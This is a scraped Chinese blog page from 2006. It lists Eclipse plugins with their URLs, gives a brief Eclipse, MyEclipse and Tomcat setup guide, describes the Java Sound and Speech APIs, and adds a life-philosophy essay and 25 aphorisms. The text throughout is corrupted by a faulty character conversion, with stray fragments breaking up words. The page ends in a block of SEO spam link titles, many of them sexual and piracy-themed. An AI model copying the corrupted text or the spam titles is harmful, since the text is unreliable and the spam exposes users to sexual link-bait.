    ?
    16.Call Hierarchy 顯示一個(gè)方法的調(diào)用層次(被哪些方法調(diào),調(diào)了哪些方法)
    http://eclipse-tools.sourceforge.net/call-hierarchy/index.html
    ?
    17.EclipseTidy 檢查和格式化HTML/XML文件
    http://eclipsetidy.sourceforge.net/
    ?
    18.Checkclipse 檢查代碼的風(fēng)格、寫法是否符合規(guī)范
    http://www.mvmsoft.de/content/plugins/checkclipse/checkclipse.htm
    ?
    19.Hibernate Synchronizer Hibernate插件,自動(dòng)映射等
    http://www.binamics.com/hibernatesync/
    ?
    20.VeloEclipse? Velocity插件
    http://propsorter.sourceforge.net/
    ?
    21.EditorList 方便的列出所有打開的Editor
    http://editorlist.sourceforge.net/
    ?
    22.MemoryManager 內(nèi)存占用率的監(jiān)視
    http://cloudgarden.com/memorymanager/
    ?
    23.swt-designer java的GUI插件
    http://www.swt-designer.com/
    ?
    24.TomcatPlugin 支持Tomcat插件
    http://www.sysdeo.com/eclipse/tomcatPlugin.html
    ?
    25.XML Viewer
    http://tabaquismo.freehosting.net/ignacio/eclipse/xmlview/index.html
    ?
    26.quantum 數(shù)據(jù)庫插件
    http://quantum.sourceforge.net/
    ?
    27.Dbedit 數(shù)據(jù)庫插件
    http://sourceforge.net/projects/dbedit
    ?
    28.clay.core 可視化的數(shù)據(jù)庫插件
    http://www.azzurri.jp/en/software/index.jsp
    http://www.azzurri.jp/eclipse/plugins
    ?
    29.hiberclipse hibernate插件
    http://hiberclipse.sourceforge.net
    http://www.binamics.com/hibernatesync
    ?
    30.struts-console Struts插件
    http://www.jamesholmes.com/struts/console/
    ?
    31.easystruts Struts插件
    http://easystruts.sourceforge.net
    ?
    32.veloedit Velocity插件
    http://veloedit.sourceforge.net/
    ?
    33.jalopy 代碼整理插件
    http://jalopy.sourceforge.net/
    ?
    34.JDepend 包關(guān)系分析
    http://andrei.gmxhome.de/jdepend4eclipse/links.html
    ?
    35.Spring IDE Spring插件
    http://springide-eclip.sourceforge.net/updatesite/
    ?
    36.doclipse 可以產(chǎn)生xdoclet 的代碼提示
    http://beust.com/doclipse/

    posted @ 2006-03-25 18:03 MEYE 閱讀(372) | 評(píng)論 (0)編輯 收藏
    Eclipse+MyEclipse+tomcat圖解安裝JSP(轉(zhuǎn))
    開發(fā)環(huán)境:
      Java:j2sdk-1_4_2_06-windows-i586-p.exe
      Tomcat:jakarta-tomcat-5.0.28.exe
      Eclipse:eclipse-SDK-3.1-win32.zip
      MyEclipse:EnterpriseWorkbenchInstaller_4.0GA_E3.1.exe

      
      1.首先安裝Java的J2sdk和Tomcat到指定位置并測試成功
      
      2.安裝Eclipse到你指定的目錄(建議在C盤建立一個(gè)JAVA的目錄把JAVA和TOMCAT及Eclipse安裝在一起)
      
      3.安裝MyEclipse(默認(rèn)安裝)
      
        
      5.安裝完成后運(yùn)行MyEclipse,打開window/Preferences(圖一)安裝J2sdk
      
     

      6.啟動(dòng)MyEclipse的Tomcat(圖二)
      
     

      7.開啟JDK指向的J2skd的路徑(圖三)
      
     

      8.程序安裝完成后新建工程(圖四)
      
     

      9.啟動(dòng)Tomcat(圖五)
      
     

      10.Tomcat啟動(dòng)工程(圖六)
      
    posted @ 2006-03-25 18:02 MEYE 閱讀(3921) | 評(píng)論 (0)編輯 收藏
    Java?Sound?API

    平臺(tái)的 1.3 版本取得了目前為止最大的進(jìn)步。這個(gè)版本使用相同的 Beatnik 聲音引擎及以前所有的功能,并增加了一個(gè)全新的 API ― Java Sound API。

    Java Sound API 提供了一套擴(kuò)展的音頻功能,并可通過新的 javax.media.sound.sampledjavax.media.sound.midi 包來訪問。

    javax.media.sound.sampled 包包含從各種聲源回放聲音的類,和最多能混合 64 聲道的類。每一個(gè)音頻信號(hào)可以通過不同的方法進(jìn)行控制和處理,比如在不同文件格式之間的轉(zhuǎn)換,和對(duì)效果(如增益和回響)的使用。同時(shí)還支持輸入源(例如麥克風(fēng))的音頻捕捉。

    javax.media.sound.midi 包提供 MIDI 功能,包括載入音色庫和從 MIDI 數(shù)據(jù)中生成聲音,以及回放 MIDI 序列。

    Java 音頻功能還缺乏一個(gè)重要的方面 ― 硬件加速。缺乏這種支持意味著不管您的聲卡硬件性能多么優(yōu)秀,這些功能都無法被使用。這樣的結(jié)構(gòu)確實(shí)帶來了好的跨平臺(tái)可移植性,但付出的代價(jià)是高 CPU 開銷和較低的性能。

    posted @ 2006-03-25 17:55 MEYE 閱讀(750) | 評(píng)論 (0)編輯 收藏
    Java?Speech?API

    Java Speech API 允許開發(fā)人員將語音技術(shù)整合到 Java applet 和應(yīng)用程序的用戶界面中。這種 API 規(guī)定一個(gè)跨平臺(tái)的接口來支持命令―控制識(shí)別器、聽寫系統(tǒng)和語音合成器。

    這個(gè)綜合 API 被分成幾個(gè)規(guī)范:

    • Java Speech API 規(guī)范(Java Speech API Specification,JSAPI)
    • Java Speech API 程序員指南
    • Java Speech API 語法格式規(guī)范(Java Speech API Grammar Format Specification,JSGF)
    • Java Speech API 標(biāo)記語言規(guī)范(Java Speech API Markup Language Specification,JSML)

    這個(gè) API 沒有 Sun 公司的參考實(shí)現(xiàn),但是有許多第三方實(shí)現(xiàn),包括 Speech for Java(可以從 IBM alphaWorks 獲得http://www.alphaworks.ibm.com/tech/speech),它使用 ViaVoice 來支持語音命令識(shí)別、聽寫和文本到語音的合成。

    posted @ 2006-03-25 17:53 MEYE 閱讀(984) | 評(píng)論 (0)編輯 收藏

    人生三重境界(精辟短文!)
    人生有三重境界,這三重境界可以用一段充滿禪機(jī)的語言來說明,這段語言便是:??


      看山是山,看水是水;
      看山不是山,看水不是水;
      看山還是山。看水還是水。

      這就是說一個(gè)人的人生之初純潔無瑕,初識(shí)世界,一切都是新鮮的,眼睛看見什么
    就是什么,人家告訴他這是山,他就認(rèn)識(shí)了山;告訴他這是水,他就認(rèn)識(shí)了水。

      隨著年齡漸長,經(jīng)歷的世事漸多,就發(fā)現(xiàn)這個(gè)世界的問題了。這個(gè)世界問題越來越
    多,越來越復(fù)雜,經(jīng)常是黑白顛倒,是非混淆,無理走遍天下,有理寸步難行,好人無
    好報(bào),惡人活千年。進(jìn)人這個(gè)階段,人是激憤的,不平的,憂慮的,疑問的,警惕的,
    復(fù)雜的。人不愿意再輕易地相信什么。人到了這個(gè)時(shí)候看山也感慨,看水也嘆息,借古
    諷今,指桑罵槐。山自然不再是單純的山,水自然不再是單純的水。一切的一切都是人
    的主觀意志的載體,所謂“好風(fēng)憑借力,送我上青云”。一個(gè)人倘若停留在人生的這一
    階段,那就苦了這條性命了。人就會(huì)這山望了那山高,不停地攀登,爭強(qiáng)好勝,與人比
    較,怎么做人,如何處世,絞盡腦汁,機(jī)關(guān)算盡,永無休止和滿足的一天。因?yàn)檫@個(gè)世
    界原本就是一個(gè)圓的,人外還有人,天外還有天,循環(huán)往復(fù),綠水長流。而人的生命是
    短暫的有限的,哪里能夠去與永恒和無限計(jì)較呢?

      許多人到了人生的第二重境界就到了人生的終點(diǎn)。追求一生.勞碌一生,心高氣傲
    一生,最后發(fā)現(xiàn)自己并沒有達(dá)到自己的理想,于是抱恨終生。但是有些人通過自己的修
    練,終于把自己提升到了第三重人生境界。茅塞頓開,回歸自然。人這個(gè)時(shí)候便會(huì)專心
    致志做自己應(yīng)該做的事情,不與旁人有任何計(jì)較。任你紅塵滾滾,我自清風(fēng)朗月。面對(duì)
    蕪雜世俗之事,一笑了之,了了有何不了,這個(gè)時(shí)候的人看山又是山,看水又是水了。
    正是:人本是人,不必刻意去做人;世本是世,無須精心去處世;便也就是真正的做人
    與處世了。
    posted @ 2006-03-22 22:11 MEYE 閱讀(352) | 評(píng)論 (0)編輯 收藏
    世上最經(jīng)典的25句話
    ? ?
    ? ?

    ???? 1,記住該記住的,忘記該忘記的。改變能改變的,接受不能接受的。


    ???? 2,能沖刷一切的除了眼淚,就是時(shí)間,以時(shí)間來推移感情,時(shí)間越長,沖突越 淡,仿佛不斷稀釋的茶。


    ???? 3,怨言是上天得至人類最大的供物,也是人類禱告中最真誠的部分。


      4,智慧的代價(jià)是矛盾。這是人生對(duì)人生觀開的玩笑。


      5,世上的姑娘總以為自己是驕傲的公主(除了少數(shù)極丑和少數(shù)極聰明的姑娘例外)。


      6,如果敵人讓你生氣,那說明你還沒有勝他的把握。


      7,如果朋友讓你生氣,那說明你仍然在意他的友情。


      8,令狐沖說“有些事情本身我們無法控制,只好控制自己?!?


      9,我不知道我現(xiàn)在做的哪些是對(duì)的,那些是錯(cuò)的,而當(dāng)我終于老死的時(shí)候我才知道這些。所以我現(xiàn)在所能做的就是盡力做好待著老死。


      10,也許有些人很可惡,有些人很卑鄙。而當(dāng)我設(shè)身為他想象的時(shí)候,我才知道:他比我還可憐。所以請(qǐng)?jiān)徦心阋娺^的人,好人或者壞人。


      11,魚對(duì)水說你看不到我的眼淚,因?yàn)槲以谒铮f我能感覺到你的眼淚,因?yàn)槟阍谖倚睦铩?/span>


      12,快樂要有悲傷作陪,雨過應(yīng)該就有天晴。如果雨后還是雨,如果憂傷之后還是憂傷.請(qǐng)讓我們從容面對(duì)這離別之后的離別。微笑地去尋找一個(gè)不可能出現(xiàn)的你!


      13,死亡教會(huì)人一切,如同考試之后公布的結(jié)果——雖然恍然大悟,但為時(shí)晚矣~!


      14,你出生的時(shí)候,你哭著,周圍的人笑著;你逝去的時(shí)候,你笑著,而周圍的人在哭!一切都是輪回!!!! 我們都在輪回中!!!!


      15,男人在結(jié)婚前覺得適合自己的女人很少,結(jié)婚后覺得適合自己的女人很多。


      16,于千萬人之中,遇見你所遇見的人;于千萬年之中,時(shí)間的無涯荒野里,沒有早一步,也沒有晚一步,剛巧趕上了 。


      17,每個(gè)人都有潛在的能量,只是很容易:被習(xí)慣所掩蓋,被時(shí)間所迷離,被惰性所消磨。


      18,人生短短幾十年,不要給自己留下了什么遺憾,想笑就笑,想哭就哭,該愛的時(shí)候就去愛,無謂壓抑自己。


      19,《和平年代》里的話:當(dāng)幻想和現(xiàn)實(shí)面對(duì)時(shí),總是很痛苦的。要么你被痛苦擊倒,要么你把痛苦踩在腳下。


      20,真正的愛情是不講究熱鬧不講究排場不講究繁華更不講究嚎頭的。


      21,生命中,不斷地有人離開或進(jìn)入。于是,看見的,看不見的;記住的,遺忘了。生命中,不斷地有得到和失落。于是,看不見的,看見了;遺忘的,記住了。然而,看不見的,是不是就等于不存在?記住的,是不是永遠(yuǎn)不會(huì)消失?


      22,我們確實(shí)活得艱難,一要承受種種外部的壓力,更要面對(duì)自己內(nèi)心的困惑。在苦苦掙扎中,如果有人向你投以理解的目光,你會(huì)感到一種生命的暖意,或許僅有短暫的一瞥,就足以使我感奮不已。


      23,我不去想是否能夠成功,既然選擇了遠(yuǎn)方,便只顧風(fēng)雨兼程;我不去想,身后會(huì)不會(huì)襲來寒風(fēng)冷雨,既然目標(biāo)是地平線,留給世界的只能是背影。


      24,后悔是一種耗費(fèi)精神的情緒.后悔是比損失更大的損失,比錯(cuò)誤更大的錯(cuò)誤.所以不要后悔 。


      25,日出東海落西山,愁也一天,喜也一天;遇事不鉆牛角尖,人也舒坦,心也舒坦。?


    posted @ 2006-03-22 22:10 MEYE 閱讀(339) | 評(píng)論 (0)編輯 收藏
    僅列出標(biāo)題
    共10頁: First 上一頁 2 3 4 5 6 7 8 9 10 下一頁 
    主站蜘蛛池模板: 日本一区二区三区在线视频观看免费 | 热re99久久6国产精品免费| 国精无码欧精品亚洲一区| 福利免费在线观看| 国产亚洲无线码一区二区| 99热在线日韩精品免费| 在线日韩日本国产亚洲| 巨胸狂喷奶水视频www网站免费| 国产亚洲精品a在线观看| 2022免费国产精品福利在线| a级亚洲片精品久久久久久久| 精品97国产免费人成视频| 91麻豆国产自产在线观看亚洲| 好湿好大好紧好爽免费视频| 亚洲线精品一区二区三区| 免费无码一区二区三区蜜桃| 亚洲AV综合色区无码一区爱AV| 麻豆精品不卡国产免费看| 亚洲国产日韩一区高清在线| 99久久免费观看| 精品国产一区二区三区免费看| 亚洲AV永久无码天堂影院 | 欧美日韩亚洲精品| 亚洲成AⅤ人影院在线观看| 一级全免费视频播放| 亚洲色婷婷六月亚洲婷婷6月| 免费观看久久精彩视频| 777亚洲精品乱码久久久久久 | 日韩精品福利片午夜免费观着| 亚洲另类无码专区丝袜| 波多野结衣一区二区免费视频| 一级毛片完整版免费播放一区| 国产亚洲成av片在线观看 | 国产日韩AV免费无码一区二区 | 亚洲人成网77777亚洲色| 88xx成人永久免费观看| 中文日韩亚洲欧美制服| 免费人成视频x8x8入口| 水蜜桃视频在线观看免费播放高清| 午夜亚洲国产理论秋霞| 中文字幕av无码无卡免费|